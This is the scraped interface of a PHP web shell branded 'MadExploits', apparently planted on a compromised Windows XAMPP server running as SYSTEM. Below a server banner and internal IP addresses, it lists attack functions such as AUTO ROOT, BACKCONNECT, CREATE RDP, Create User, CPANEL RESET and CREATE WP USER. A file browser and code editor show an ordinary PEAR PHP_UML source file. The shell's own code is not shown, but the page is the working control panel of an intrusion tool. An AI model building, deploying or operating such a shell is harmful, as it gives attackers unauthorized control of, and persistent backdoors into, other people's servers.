Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
php /
pear /
PHP /
UML /
Metamodel /
[ HOME SHELL ]
Name
Size
Permission
Action
Artifact.php
715
B
-rw-rw-rw-
Class.php
682
B
-rw-rw-rw-
Classifier.php
847
B
-rw-rw-rw-
Datatype.php
639
B
-rw-rw-rw-
Enumeration.php
995
B
-rw-rw-rw-
Helper.php
7.66
KB
-rw-rw-rw-
Interface.php
559
B
-rw-rw-rw-
NamedElement.php
1.38
KB
-rw-rw-rw-
Operation.php
733
B
-rw-rw-rw-
Package.php
733
B
-rw-rw-rw-
Parameter.php
628
B
-rw-rw-rw-
Property.php
715
B
-rw-rw-rw-
Stereotype.php
877
B
-rw-rw-rw-
Superstructure.php
10.23
KB
-rw-rw-rw-
Tag.php
571
B
-rw-rw-rw-
Type.php
564
B
-rw-rw-rw-
TypeResolver.php
3.26
KB
-rw-rw-rw-
TypeResolverById.php
5.12
KB
-rw-rw-rw-
TypeResolverByName.php
5.43
KB
-rw-rw-rw-
TypedElement.php
582
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TypeResolver.php
<?php /** * PHP_UML * * PHP version 5 * * @category PHP * @package PHP_UML * @subpackage Metamodel * @author Baptiste Autin <ohlesbeauxjours@yahoo.fr> * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 * @version SVN: $Revision: 175 $ * @link http://pear.php.net/package/PHP_UML * @link http://www.omg.org/mof/ * @since $Date: 2011-09-15 17:07:58 +0200 (jeu., 15 sept. 2011) $ * */ /** * A TypeResolver is a class designed to correct a Metamodel_Package whose * relationships between elements are not realized by direct references (nut * by means of a qualified name, or an ID...) * Such a tool is particularly needed when building a UML model, as during the * iteration process, some of the referenced elements may have not yet been met. * * @category PHP * @package PHP_UML * @subpackage Metamodel * @author Baptiste Autin <ohlesbeauxjours@yahoo.fr> * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 */ abstract class PHP_UML_Metamodel_TypeResolver { /** * A reference of the top package of the model to resolve * * @var PHP_UML_Metamodel_Package */ protected $topPackage; /** * List of default packages where to look for orphaned elements * * @var array */ protected $defaultRepo = array(); /** * Recursively replaces all the "named types" by a proper "reference" to a * typed element. This impacts: * - the extended classes and implemented classes (through their * EMOF-"superClass" and "implements" relations) * - the function parameters (through their EMOF-"type" attribute) * - the properties in classes (through their EMOF-"type" attribute) * * @param PHP_UML_Metamodel_Package &$ns Package to resolve the elements of * @param array $default Default packages where to look for * orphaned elements */ abstract public function resolve(PHP_UML_Metamodel_Package &$ns, array $default); /** * Resolution error. Might later be isolated in a specific class. * * @param string $element Element * @param PHP_UML_Metamodel_NamedElement $na NamedElement */ static protected function resolutionWarning($element, $na) { PHP_UML_Warning::add('Could not resolve '.$element. (empty($na->file) ? '' : ' in '.$na->file->name)); } /** * Retrieve the PHP_UML_Metamodel_Package object related to a package path * (ie, to a qualified name, like A\B\C). * Relies on the model->$packages, when references are still named * (= before their resolution) * * @param string $path The path to find * * @return PHP_UML_Metamodel_Package The package to find. Null if not found. */ protected function getPackageByPath($path) { $pkg = $this->topPackage; do { list($pos, $first, $path) = PHP_UML_Metamodel_Helper::getPackagePathParts($path); if ($first!='') $pkg = PHP_UML_Metamodel_Helper::findSubpackageByName($pkg, $first); if ($pkg===false) return false; } while (!($pos===false)); return $pkg; } } ?>
Close